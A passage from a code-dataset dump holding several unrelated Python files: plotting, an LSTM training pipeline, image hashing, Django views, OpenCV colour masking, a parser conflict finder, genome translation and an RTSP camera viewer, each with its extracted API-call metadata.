plt.subplots()\nrects2 = ax.bar(ind - 0.5 * width, worker1, width, color='navy', label='Worker1')\nrects3 = ax.bar(ind + 0.5 * width, worker2, width, color='green', label='Worker2')\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\nax.set_ylabel('Accuracy')\nax.set_xlabel('Optimizer')\nax.set_title('Accuracy (30ms latency) by Optimizer')\nax.set_xticks(ind)\nax.set_xticklabels(('EASGD', 'Downpour SGD'))\nax.legend()\n\nplt.savefig(\"latency_accuracy.png\")\nplt.show()", "sub_path": "pics/latency_accuracy/draw.py", "file_name": "draw.py", "file_ext": "py", "file_size_in_byte": 707, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.arange", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}]} {"seq_id": "11510822", "text": "\"\"\"\nM01_MAIN.PY\nThis is the main script to train and evaluate the LSTM model for the SWL\nprediction\n\"\"\"\n\nfrom torch.utils.data import DataLoader\nimport m02_initialization as init\nimport m03_pre_process as preprocess\nimport m04_model as model\nimport m05_training as training\nimport m06_testing as testing\nimport m07_post_process as postprocess\nimport time\n\n\n# Initialize configurations and hyperparameters\ncfg = init.Initialize()\n\n\n# Preprocess data\nprint('Preprocessing Data...')\nprint()\n\na = time.time()\n\ndataset = preprocess.Initialize_Data(cfg)\n\ntrain_data = preprocess.Load_Data(dataset,cfg,training=True)\nvali_data = preprocess.Load_Data(dataset,cfg,validation=True)\ntest_data = preprocess.Load_Data(dataset,cfg,testing=True)\n\nb = time.time()\n\ntrain_loader = DataLoader(train_data, batch_size = cfg.batch_size_train, shuffle=False, drop_last=True)\nvali_loader = DataLoader(vali_data, batch_size = cfg.batch_size_vali, shuffle=False, drop_last=True)\ntest_loader = DataLoader(test_data, batch_size = cfg.batch_size_test, shuffle=False, drop_last=True)\n\nprint('Preprocessing runtime: %.4f secs' %(b - a))\nprint()\n\n\n# Initialize the LSTM model\nlstm = model.ANN(cfg)\n\nprint(lstm)\nprint()\n\n\n# Train the LSTM model\n\nprint('Start training...')\nprint()\ntrainer = training.Training(cfg, lstm)\ntrainer.train(train_loader, vali_loader)\nprint('Training finished...')\nprint()\n\n\n# Evaluate (test) the trained model\n\nprint('Evaluating model...')\nprint()\ntester = testing.Testing(cfg, trainer)\ntester.evaluate(test_loader)\n\n\n# Postprocess the data and plot figures\n\nprint('Postprocessing and plotting...')\nprint()\n\npp = postprocess.Post_process(cfg, trainer, tester, dataset, train_data, vali_data, test_data)\n\nprint('Finished!')\nprint()", "sub_path": "pre-processed/15-3M/m01_main.py", "file_name": "m01_main.py", "file_ext": "py", "file_size_in_byte": 1725, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "m02_initialization.Initialize", "line_number": 18, "usage_type": "call"}, {"api_name": "time.time", "line_number": 25, "usage_type": "call"}, {"api_name": "m03_pre_process.Initialize_Data", "line_number": 27, "usage_type": "call"}, {"api_name": "m03_pre_process.Load_Data", "line_number": 29, "usage_type": "call"}, {"api_name": "m03_pre_process.Load_Data", "line_number": 30, "usage_type": "call"}, {"api_name": "m03_pre_process.Load_Data", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 37, "usage_type": "call"}, {"api_name": "m04_model.ANN", "line_number": 44, "usage_type": "call"}, {"api_name": "m05_training.Training", "line_number": 54, "usage_type": "call"}, {"api_name": "m06_testing.Testing", "line_number": 64, "usage_type": "call"}, {"api_name": "m07_post_process.Post_process", "line_number": 73, "usage_type": "call"}]} {"seq_id": "314268880", "text": "\nimport imagehash\nfrom PIL import Image\n\n\ndef hash_images(image_list, hashfunc=imagehash.average_hash):\n \"\"\" The hash algorithm will resize image into a (8,8) array which will be converted\n into greyscale resized image. Then find the mean average of the whole image. Relabel\n each pixel in 1 if the pixel is larger than average and vice versa for 0.\n When the hash object is called the object will flatten the binary array display as\n a hex hash value. This is used to compare between each image.\n\n Parameter\n ------------\n image_list - list of paths to image\n hashfunc - imagehash hash functions: average_hash, phash (perception hash),\n phash_simple, dhash (different hash), dhash_veritcal, whash(wavelet Hash)\n\n Return\n -------------\n a dictionary of hashes and image path\"\"\"\n image_hashes = {}\n hashfunc = find_hashfunc(hashfunc)\n for image in image_list:\n\n try:\n # create a hash object which is a binary array that\n # can generate a hash when called\n img_hash = hashfunc(Image.open(image))\n # add hash to dict\n image_hashes[img_hash] = image_hashes.get(img_hash, []) + [image]\n except Exception as e:\n print(\"Hashing: \", e)\n return image_hashes\n\n\ndef eval_hashes(image_hashes):\n \"\"\" Check hash list for duplicates\n\n Parameter\n ---------\n image_hashes - hashes dictionary\n\n Return\n ----------\n list of tuple containing matched hashes\"\"\"\n match_list = []\n # iter for each item if they have more than one hash match\n for hash, image in image_hashes.items():\n if len(image) > 1:\n match_list.append(tuple(image))\n return match_list\n\n\ndef find_hashfunc(hashfunc):\n if hashfunc == 'phash':\n return imagehash.phash\n elif hashfunc == 'dhash':\n return imagehash.dhash\n elif hashfunc == 'whash':\n return lambda img: imagehash.whash(img, mode='db4')\n else:\n return imagehash.average_hash", "sub_path": "imageRecognition/process/hashing.py", "file_name": "hashing.py", "file_ext": "py", "file_size_in_byte": 2073, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "imagehash.average_hash", "line_number": 6, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 29, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 29, "usage_type": "name"}, {"api_name": "imagehash.phash", "line_number": 57, "usage_type": "attribute"}, {"api_name": "imagehash.dhash", "line_number": 59, "usage_type": "attribute"}, {"api_name": "imagehash.whash", "line_number": 61, "usage_type": "call"}, {"api_name": "imagehash.average_hash", "line_number": 63, "usage_type": "attribute"}]} {"seq_id": "236274550", "text": "from django.core.paginator import Paginator\nfrom django.shortcuts import render\nfrom user import models\nfrom user import forms\nfrom .querys import get_latest_articles, get_popular_articles\n\n\ndef index(request):\n articles = get_latest_articles()\n paginator = Paginator(articles, 6)\n page = request.GET.get('page')\n articles_page = paginator.get_page(page)\n categories = models.Category.objects.all()\n tags = models.Tag.objects.all()\n context = {\n 'articles': articles_page,\n 'categories': categories,\n 'tags': tags,\n 'popular_articles': get_popular_articles(),\n 'form': forms.NotifyForm()\n }\n return render(request, 'user/index.html', context)\n", "sub_path": "user/views/index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 705, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "querys.get_latest_articles", "line_number": 9, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 10, "usage_type": "call"}, {"api_name": "user.models.Category.objects.all", "line_number": 13, "usage_type": "call"}, {"api_name": "user.models.Category", "line_number": 13, "usage_type": "attribute"}, {"api_name": "user.models", "line_number": 13, "usage_type": "name"}, {"api_name": "user.models.Tag.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "user.models.Tag", "line_number": 14, "usage_type": "attribute"}, {"api_name": "user.models", "line_number": 14, "usage_type": "name"}, {"api_name": "querys.get_popular_articles", "line_number": 19, "usage_type": "call"}, {"api_name": "user.forms.NotifyForm", "line_number": 20, "usage_type": "call"}, {"api_name": "user.forms", "line_number": 20, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 22, "usage_type": "call"}]} {"seq_id": "422617203", "text": "import cv2\nimport numpy as np\n\ncap = cv2.VideoCapture(0)\n\nwhile True:\n\tret, frame = cap.read()\n\thsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n\tlower = np.array([150, 150, 50])\n\tupper = np.array([180, 255, 150])\n\n\tmask = cv2.inRange(hsv, lower, upper)\n\n\tres = cv2.bitwise_and(frame, frame, mask = mask)\n\tcv2.imshow('mask', mask)\n\tcv2.imshow('frame', frame)\n\tcv2.imshow('res', res)\n\tif cv2.waitKey(1) & 0xFF == ord('q'):\n\t\tbreak\n\ncap.release()\ncv2.destroyAllWindows()\t", "sub_path": "Open_CV/test2.py", "file_name": "test2.py", "file_ext": "py", "file_size_in_byte": 466, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "cv2.VideoCapture", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 23, "usage_type": "call"}]} {"seq_id": "377626768", "text": "from functools import namedtuple\nfrom pycmp.utils import pprint\n\nshift_reduce_info = namedtuple(\n \"parser_info\",\n (\"automaton\", \"action_table\", \"goto_table\", \"shift_act\", \"reduce_act\"),\n)\n\n\ndef build_conflict_str(action, goto, terminals, shift_act, reduce_act):\n return __build_conflict_str(\n [0], set(), action, goto, terminals, shift_act, reduce_act\n )\n\n\ndef __build_conflict_str(\n stack, visited, action_table, goto_table, terminals, shift_act, reduce_act\n):\n state = stack[-1]\n\n for t in terminals:\n if (state, t) in visited:\n continue\n\n # print(stack)\n try:\n value = action_table[state, t]\n # print(f\"({state}, {t}) --> {value}\")\n except KeyError:\n # print(f\"({state}, {t}) --> no-action\")\n continue\n\n if len(value) > 1:\n return [t]\n\n action, tag = value[0]\n\n if action == shift_act:\n visited.add((state, t))\n conflict = __build_conflict_str(\n stack + [tag],\n visited,\n action_table,\n goto_table,\n terminals,\n shift_act,\n reduce_act,\n )\n if conflict is None:\n continue\n return [t] + conflict\n\n if action == reduce_act:\n temp_stack = stack[: len(stack) - len(tag.right)]\n return __build_conflict_str(\n temp_stack + [goto_table[temp_stack[-1], tag.left][0]],\n visited,\n action_table,\n goto_table,\n terminals,\n shift_act,\n reduce_act,\n )\n\n return None\n", "sub_path": "src/grammar_analyzer/shift_reduce_analyzer.py", "file_name": "shift_reduce_analyzer.py", "file_ext": "py", "file_size_in_byte": 1720, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "functools.namedtuple", "line_number": 4, "usage_type": "call"}]} {"seq_id": "114138653", "text": "#######################################################################\n# This file is part of steve.\n#\n# Copyright (C) 2015\n# Licensed under the Simplified BSD License. See LICENSE for full\n# license.\n#######################################################################\n\nfrom __future__ import print_function\n\nimport os\nimport datetime\nimport tempfile\n\nfrom ruamel.yaml.convert import SyncJSON, datetime_to_time\n\n\nclass YAML_Data(SyncJSON):\n def __init__(self, cfg):\n self._cfg = cfg\n\n def sync(self):\n print('calling sync')\n json_path = self._cfg.get('project', 'jsonpath')\n if not os.path.exists(json_path):\n os.makedirs(json_path)\n yaml_path = self._cfg.get('project', 'yamlpath')\n if not os.path.exists(yaml_path):\n os.makedirs(yaml_path)\n ts = self._cfg.status['yaml']['last_sync']\n last_synced = datetime_to_time(ts)\n super(YAML_Data, self).sync(json_path, yaml_path, last_synced=last_synced)\n self._cfg.status['yaml']['last_sync'] = datetime.datetime.now()\n self._cfg.save_status()\n # self.equal_all(json_path, yaml_path)\n\n def edit(self, combine_name=None):\n if combine_name is None:\n combine_name = tempfile.mktemp(suffix='.yaml')\n print(combine_name)\n _tmp_file = True\n else:\n _tmp_file = False\n yaml_path = self._cfg.get('project', 'yamlpath')\n assert os.path.isdir(yaml_path)\n super(YAML_Data, self).combine(combine_name, yaml_path)\n os.system('{0} {1}'.format(os.environ['EDITOR'], combine_name))\n if not os.path.exists(yaml_path):\n os.makedirs(yaml_path)\n super(YAML_Data, self).split(combine_name, yaml_path)\n if _tmp_file:\n os.remove(combine_name)\n\n def split(self, combine_name):\n yaml_path = self._cfg.get('project', 'yamlpath')\n assert os.path.isdir(yaml_path)\n super(YAML_Data, self).split(combine_name, yaml_path)\n\n def combine(self, combine_name):\n yaml_path = self._cfg.get('project', 'yamlpath')\n assert os.path.isdir(yaml_path)\n super(YAML_Data, self).combine(combine_name, yaml_path)\n\n def json_yaml_adapt(self, data):\n \"\"\"adapt inviddual elements of the data\"\"\"\n data = super(YAML_Data, self).json_yaml_adapt(data)\n if isinstance(data, dict):\n for k in data:\n v = data[k]\n if isinstance(v, basestring):\n if len(v) == 0:\n data[k] = None\n if len(v) == 10 and v[4] == '-' and v[7] == '-':\n # date string of for 2015-10-05\n try:\n d = datetime.date(*map(int, v.split('-')))\n except:\n continue\n data[k] = d\n return data\n\n def yaml_json(self, yfn, jfn):\n print('converting', os.path.basename(yfn))\n super(YAML_Data, self).yaml_json(yfn, jfn)\n\n def json_yaml(self, jfn, yfn):\n print('converting', os.path.basename(jfn))\n super(YAML_Data, self).json_yaml(jfn, yfn)\n\n def yaml_json_adapt(self, data):\n data = super(YAML_Data, self).yaml_json_adapt(data)\n if isinstance(data, dict):\n for k in data:\n v = data[k]\n if v is None:\n data[k] = ''\n return data\n", "sub_path": "steve/yamldata.py", "file_name": "yamldata.py", "file_ext": "py", "file_size_in_byte": 3463, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "ruamel.yaml.convert.SyncJSON", "line_number": 18, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 29, "usage_type": "call"}, {"api_name": "ruamel.yaml.convert.datetime_to_time", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tempfile.mktemp", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 47, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 49, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}]} {"seq_id": "507579025", "text": "from PyQt5.QtCore import qDebug, QPropertyAnimation, QRect, QEasingCurve\nfrom PyQt5.QtGui import QPixmap, QIcon\nfrom PyQt5.QtWidgets import QPushButton\n\n\nclass MyPushButton(QPushButton):\n def __init__(self, normal_img: str, press_img: str = \"\"):\n \"\"\"自定义按钮\n\n :param normal_img: 默认加载图标\n :param press_img: 点击后图标\n \"\"\"\n super(MyPushButton, self).__init__()\n self.normal_img = normal_img\n self.press_img = press_img\n\n # 允许点击\n self.setCheckable(True)\n\n # 设置按钮图标及样式\n pixmap = QPixmap()\n ret = pixmap.load(self.normal_img)\n if not ret:\n qDebug(f\"{normal_img}加载图片失败!\")\n self.setFixedSize(pixmap.size())\n self.setStyleSheet(\"QPushButton{border:0px;}\")\n self.setIcon(QIcon(pixmap))\n self.setIconSize(pixmap.size())\n\n def zoom(self):\n self.zoom1()\n self.zoom2()\n\n def zoom1(self):\n animation = QPropertyAnimation(self, b\"geometry\", parent=self.parent())\n animation.setDuration(200)\n animation.setStartValue(QRect(self.x(), self.y(), self.width(), self.height()))\n animation.setEndValue(QRect(self.x(), self.y() + 10, self.width(), self.height()))\n animation.setEasingCurve(QEasingCurve.OutBounce)\n animation.start()\n\n def zoom2(self):\n animation = QPropertyAnimation(self, b\"geometry\", parent=self.parent())\n animation.setDuration(200)\n animation.setStartValue(QRect(self.x(), self.y() + 10, self.width(), self.height()))\n animation.setEndValue(QRect(self.x(), self.y(), self.width(), self.height()))\n animation.setEasingCurve(QEasingCurve.OutBounce)\n animation.start()\n\n def mousePressEvent(self, e):\n \"\"\"重写鼠标点击事件\"\"\"\n self.set_Icon(self.press_img)\n return super(MyPushButton, self).mousePressEvent(e)\n\n def mouseReleaseEvent(self, et):\n \"\"\"重写鼠标释放事件\"\"\"\n self.set_Icon(self.normal_img)\n return super(MyPushButton, self).mouseReleaseEvent(et)\n\n def set_Icon(self, img):\n if img != \"\":\n pixmap = QPixmap()\n ret = pixmap.load(img)\n if not ret:\n qDebug(f\"{img}加载图片失败\")\n\n self.setFixedSize(pixmap.size())\n self.setStyleSheet(\"QPushButton{border:0px;}\")\n self.setIcon(QIcon(pixmap))\n self.setIconSize(pixmap.size())\n", "sub_path": "myPushButton.py", "file_name": "myPushButton.py", "file_ext": "py", "file_size_in_byte": 2500, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 6, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 21, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.qDebug", "line_number": 24, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QPropertyAnimation", "line_number": 35, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 37, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QEasingCurve.OutBounce", "line_number": 39, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QEasingCurve", "line_number": 39, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QPropertyAnimation", "line_number": 43, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 45, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QEasingCurve.OutBounce", "line_number": 47, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QEasingCurve", "line_number": 47, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 62, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.qDebug", "line_number": 65, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 69, "usage_type": "call"}]} {"seq_id": "62863291", "text": "import string\nimport sys\nimport collections\n\ninput = sys.stdin.readline\n\n#n, m = map(int, input().split())\n#k = input().rstrip()\n\n#적록색약이 아닌것과 적록색약인것 2번 BFS를 하면된다.\n#입력갯수와 찾은 갯수가 같으면 더이상 할 필요가 없기 때문에 멈춘다.\n\nmove_x = [1, -1, 0, 0]\nmove_y = [0, 0, -1, 1]\n\nsize = int(input().rstrip())\ncount_target = pow(size, 2)\nmatrix = []\n\ndef BFS(x, y, visit, size, target):\n count = 1\n visit[x][y] = True\n queue = collections.deque()\n queue.append([x,y])\n\n while queue:\n now_x, now_y = queue.popleft()\n for i in range(4):\n pos_x = now_x + move_x[i]\n pos_y = now_y + move_y[i]\n\n if pos_x >= 0 and pos_y >= 0 and pos_x < size and pos_y < size and not visit[pos_x][pos_y] and matrix[pos_x][pos_y] in target:\n count += 1\n visit[pos_x][pos_y] = True\n queue.append([pos_x, pos_y])\n\n return count\n\n\n\nfor _ in range(size):\n matrix.append(list(input().rstrip()))\n\nfirst_answer = 0\ncount = 0\nvisit = [[False] * size for _ in range(size)]\nend = False\n\nfor x in range(size):\n for y in range(size):\n if not visit[x][y]:\n target = [matrix[x][y]]\n count += BFS(x, y, visit, size, target)\n first_answer += 1\n\n if count_target == count:\n end = True\n break\n\n if end:\n break\n\nsecond_answer = 0\ncount = 0\nvisit = [[False] * size for _ in range(size)]\nend = False\n\nfor x in range(size):\n for y in range(size):\n if not visit[x][y]:\n if matrix[x][y] == 'B':\n target = ['B']\n else:\n target = ['R', 'G']\n count += BFS(x, y, visit, size, target)\n second_answer += 1\n\n if count_target == count:\n end = True\n break\n if end:\n break\n\nprint(first_answer, second_answer)", "sub_path": "BAEKJOON/10000~/10026_적록색약_python/CodingTest.py", "file_name": "CodingTest.py", "file_ext": "py", "file_size_in_byte": 1961, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.stdin", "line_number": 5, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 23, "usage_type": "call"}]} {"seq_id": "528635971", "text": "from Bio import SeqIO\nfrom Bio.Seq import Seq\n\n#Accessing SARS Genome and storing it in reads\nreads = list(SeqIO.parse(\"/share/SARS/SARS-2020.fasta\", \"fasta\"))\nread = reads[0]\nprint(read.seq.reverse_complement())\nprint(reads[0].seq.reverse_complement())\n\n#translating the 3 reading frames\ntranslation1 = reads[0].seq.translate()\ntranslation2 = reads[0].seq.translate()\ntranslation3 = reads[0].seq.translate()\n\n#reverse translating the 3 reading frames\nrTranslation1 = reads[0].seq.reverse_complement().translate()\nrTranslation2 = reads[0].seq.reverse_complement().translate()\nrTranslation3 = reads[0].seq.reverse_complement().translate()\n\nfor i in reads:\n\t#reading frame 1\n\ttranslation1 = i.seq[0:].translate()\n\trTranslation1 = i.seq[0:].reverse_complement().translate()\n\t#reading frame 2\n\ttranslation2 = i.seq[1:].translate()\n\trTranslation2 = i.seq[1:].reverse_complement().translate()\n\t#reading frame 3\n\ttranslation3 = i.seq[2:].translate()\n\trTranslation3 = i.seq[2:].reverse_complement().translate()\n\nsequences = [translation1, translation2, translation3]\nrSequences = [rTranslation1, rTranslation2, rTranslation3]\n\n#print(\"1: \\n\"+rTranslation1)\n#print(\"2: \\n\"+rTranslation2)\n#print(\"3: \\n\"+rTranslation3)\n\nprint(\"\\nRegular Translation Result: \\n\")\n#Regular Translation\n#total genes\ntotal = 0\nfor sequence in sequences:\n\t#count variable acts as place holder to check if sequence is 100 long\n\tcount = 0\n\t#toReturn variable keeps track of how many 100 amino acid sequences there are\n\ttoReturn = 0\n\t#saves previous i location\n\tprev_i = 0\n\t#reading frames\n\tfor i in range(len(sequence)):\n\t\t#For loops checks for end codens (\"*\")\n\t\tif(str(sequence[i]) != \"*\"):\n\t\t\tcount += 1\n\t\t\tcontinue\n\t\t#If end coden, stop and check if length over 100\n\t\telse:\n\t\t\tif(count >= 100):\n\t\t\t\ttoReturn += 1\n\t\t\t\tprint(\"\\n>Amino Acid Sequence \" +str(toReturn))\n\t\t\t\tprint(\"Start Location = \" +str(prev_i))\n\t\t\t\tprint(\"End Location = \" +str(i+1))\n\t\t\t\tprint(\"Length = \" +str((i+1)-prev_i))\n\t\t\t\tprint(sequence[prev_i+1:i]+\"\\n\")\n\t\t\tprev_i = i\n\t\t\tcount = 0\n\n\tprint(\"\\nThere are \" + str(toReturn) + \" 100 amino acid sequences in the SARS-CoV2 Genome \" \n\t\t+ \"in reading frame \" +str(sequences.index(sequence)+1) +\". \\n\")\n\ttotal += toReturn\n\n\nprint(\"There are \" +str(total) + \" total 100 amino acid sequences in the SARS-CoV2 Genome. \\n\")\n\nprint(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\nprint(\"Reverse Translation Result: \\n\")\n#Reverse Translation\n#total genes\ntotal = 0\nfor sequence in rSequences: \n\t#count variable acts as place holder to check if sequence is 100 long\n\tcount = 0\n\t#toReturn variable keeps track of how many 100 amino acid sequences there are\n\ttoReturn = 0\n\t#saves previous i location\n\tprev_i = 0\n\t#reading frames\n\tfor i in range(len(sequence)):\n\t\t#For loops checks for end codens (\"*\")\n\t\tif(str(sequence[i]) != \"*\"):\n\t\t\tcount += 1\n\t\t\tcontinue\n\t\t#If end coden, stop and check if length over 100\n\t\telse:\n\t\t\tif(count >= 100):\n\t\t\t\ttoReturn += 1\n\t\t\t\tprint(\"\\n>Amino Acid Sequence \" +str(toReturn))\n\t\t\t\tprint(\"Start Location = \" +str(prev_i))\n\t\t\t\tprint(\"End Location = \" +str(i+1))\n\t\t\t\tprint(\"Length = \" +str((i+1)-prev_i))\n\t\t\t\tprint(sequence[prev_i+1:i]+\"\\n\")\n\t\t\tprev_i = i\n\t\t\tcount = 0\n\n\tprint(\"\\nThere are \" + str(toReturn) + \" 100 amino acid sequences in the SARS-CoV2 Genome \"\n\t\t+ \"in reading frame \" +str(rSequences.index(sequence)+1) +\". \\n\")\n\ttotal += toReturn\n\nprint(\"There are \" +str(total) + \" total 100 amino acid sequences in the SARS-CoV2 Genome. \\n\")\n\n", "sub_path": "eric_bae/SARS.py", "file_name": "SARS.py", "file_ext": "py", "file_size_in_byte": 3497, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "Bio.SeqIO.parse", "line_number": 5, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 5, "usage_type": "name"}]} {"seq_id": "614052847", "text": "import cv2\n#from hikvisionapi import Client\n\ndef ResizeWithAspectRatio(image, width=None, height=None, inter=cv2.INTER_AREA):\n dim = None\n (h, w) = image.shape[:2]\n\n if width is None and height is None:\n return image\n if width is None:\n r = height / float(h)\n dim = (int(w * r), height)\n else:\n r = width / float(w)\n dim = (width, int(h * r))\n\n return cv2.resize(image, dim, interpolation=inter)\n\ncap = cv2.VideoCapture()\ncap.open(\"rtsp://admin:Admin123@192.168.0.17:554/Streaming/channels/101\")\n\n#response = cam.System.deviceInfo(method='get')\nret, frame = cap.read()\n#frame = cv2.flip(frame, 1)\n#resize = ResizeWithAspectRatio(frame, width=1200)\n\nwhile(ret):\n # Capture frame-by-frame\n ret, frame = cap.read()\n frame = cv2.flip(frame, 0)\n resize = ResizeWithAspectRatio(frame, width=1200)\n\n # Display resulting frame\n cv2.imshow('HIKVISION', resize)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything done, release the capture\ncap.release()\ncv2.destroyAllWindows()\n\n\n#cap.open('rtsp://admin:Admin123@192.168.254.2:554/Streaming/channels/1')\n", "sub_path": "machineLearning/capture.py", "file_name": "capture.py", "file_ext": "py", "file_size_in_byte": 1139, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.INTER_AREA", "line_number": 4, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 41, "usage_type": "call"}]} {"seq_id": "113013337", "text": "from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import redirect, render, get_object_or_404\n\nfrom .forms import RecipeForm\nfrom .models import Recipe\n# CRUD -> Create Retrieve Update & Delete\n\n\n@login_required\ndef recipe_list_view(request):\n qs = Recipe.objects.filter(user=request.user)\n context = {\n \"object_list\": qs\n }\n return render(request, \"recipes/list.html\", context)\n\n\n@login_required\ndef recipe_detail_view(request, id=None):\n qs = Recipe.objects.filter(user=request.user)\n obj = get_object_or_404(Recipe, id=id, user=request.user)\n context = {\n \"object\": obj\n }\n return render(request, \"recipes/detail.html\", context)\n\n\n@login_required\ndef recipe_create_view(request):\n form = RecipeForm(request.POST or None)\n context = {\n \"form\": form\n }\n if form.is_valid():\n obj = form.save(commit=False)\n obj.user = request.user\n obj.save()\n return redirect(obj.get_absolute_url())\n return render(request, \"recipes/create-update.html\", context)\n\n\n@login_required\ndef recipe_update_view(request, id=None):\n obj = get_object_or_404(Recipe, id=id, user=request.user)\n form = RecipeForm(request.POST or None, instance=obj) # first get the obj, then form\n context = {\n \"object\": obj, \n \"form\": form\n }\n if form.is_valid():\n form.save()\n context['message'] = 'Update 